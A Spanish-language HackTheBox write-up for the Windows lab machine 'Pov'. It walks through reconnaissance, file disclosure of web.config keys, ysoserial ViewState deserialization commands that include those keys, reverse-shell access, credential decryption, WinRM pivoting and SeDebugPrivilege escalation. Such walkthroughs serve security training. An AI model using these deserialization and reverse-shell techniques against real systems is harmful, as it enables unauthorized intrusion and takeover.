Post

HTB Pov Writeup

HTB Pov Writeup

Muy buenas con todos, el día de hoy voy a resolver la máquina Pov de HTB, espero que el procedimiento sea de su agrado y fácil de comprender.

Reconocimiento

Primero vemos si tenemos conexión con la máquina y de paso gracias al ttl identificamos ante el tipo de máquina que estamos, en linux este suele ser de 64 y en windows de 128.

1
2
3
4
5
6
7
ping -c 1 10.10.11.251
PING 10.10.11.251 (10.10.11.251) 56(84) bytes of data.
64 bytes from 10.10.11.251: icmp_seq=1 ttl=127 time=96.3 ms

--- 10.10.11.251 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 96.253/96.253/96.253/0.000 ms

Vemos que el ttl de la máquina es de 127, el cual está próximo a 128 por ende nos encontramos ante una máquina Windows.

Ahora, con la herramienta nmap lanzamos un escaneo en donde vamos a enumerar los puertos que se encuentran abiertos en la máquina.

1
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.252 -oG ports

Aquí generamos un archivo en formato grepeable y hacemos uso de la función extarctPorts de s4vitar.

1
extractPorts ports

Ahora, con el número de los puertos copiados en el portapapeles, lanzamos otro escaneo para enumerar el servicio que corren por los puertos.

1
nmap -sCV -p80 10.10.11.251 -oN target

Aquí generamos un archivo en el formato normal de nmap en donde se nos muestra más información de los servicios que corren por esos puertos y vemos que el único puerto abierto en la máquina es el 80.

1
2
3
4
5
6
7
PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 10.0
|_http-title: pov.htb
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|_  Potentially risky methods: TRACE
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Usamos el comando whatweb para ver las tecnologías usadas en la web.

1
2
3
whatweb 10.10.11.251

http://10.10.11.251 [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[sfitz@pov.htb], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.11.251], Microsoft-IIS[10.0], Script, Title[pov.htb], X-Powered-By[ASP.NET]

No vemos nada interesante, pero en el título vemos lo que parece ser un dominio, así que, lo agregamos al /etc/hosts, para que la máquina sepa a dónde resolver.

1
2
3
4
5
127.0.0.1	localhost
::1		localhost
127.0.0.1	machinename.localhost	machinename

10.10.11.251    pov.htb

Enumeración de subdominios

Como en la web no hay nada interesante que mostrar, buscamos algún subdominio.

1
ffuf -c -t 100 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "HOST: FUZZ.pov.htb" -u http://pov.htb -fw  3740

Encontamos uno y lo agragamos al /etc/hosts. Nos dirigimos al subdominio y vemos que nos redirige a una ruta y hay una opción de descargar un CV, así que capturamos esa petición con BurpSuite.

Deserialization .NET (ysoerial)

Vemos que hay un parámetro file, por donde se descarga el CV, así que podemos probar a intentar buscar otros archivos.

Aquí podemos ver que estamos en la capacidad de leer archivos y lo comprobamos viendo el /etc/hosts de la máquina víctima, así que podemos buscar otros archivos interesantes. Como estamos ante ASP.NET podemos buscar un web.config.

Aquí vemos cosas interesantes como la verisón del framework y unas keys, buscando un poco por la web nos encontramos con esto, donde nos explican como mediante el parámetro __VIEWSTATE, teniendo las keys podemos enviar un payload serializado para ejecutar comandos, para esto vamos a hacer uso de ysoserial, esto es un .exe para windows, pero lo podemos usar en linux siguiendo los pasos de aqui.

Ganando acceso

Así que primero validamos si podemos ejecutar comandos. Para ello vamos a lanzarnos un ping desde la máquina víctima.

1
wine ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "ping 10.10.16.36" --path="/portfolio" --apppath="/" --decryptionalg="AES" --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468"

El payload devuelto lo pegamos en el parámetro __VIEWSTATE y nos ponemos en escucha con tcpdump.

Vemos que nos llegan los cuatro paquetes enviados por windows y ahora tratamos de ganar acceso, para ello no vamos aquí, yo hice uso de Powershell#3 (Base64).

1
wine ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "payload rev shell" --path="/portfolio" --apppath="/" --decryptionalg="AES" --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468"

Ahora logramos ganar acceso como el usuario sfitz.

Movimiento lateral

En su directorio pesonal en Documents, logramos ver un archivo .xml con una contraseña encriptada, que pertenece al usuario alaading, como es una encriptación con powershell, nos apoyamos aquí para descifrar la credencial.

Como el usuario pertenece al grupo (Windows Remote Management), y el puerto 5985 está abierto internamente en la máquina, vamos a hacer uso de chisel para traernos ese puerto y hacer uso de evil-winrm.

Ecalada de pivilegios

Como el usuario alaading tiene el privilegio SeDebugPrivilege, podemos hacer uso de eso para escalar privilegios, como nos explican aquí. Primero vemos alguna tarea que se ejecute como administrador como winlogon y vemos su PID, para eso usamos el siguiente comando.

1
tasklist /v /FO LIST

Subimos el nc.exe a la máquina para entablar una rev shell.

Ahora ya somos Administrator y podemos ver la última flag.

This post is licensed under CC BY 4.0 by the author.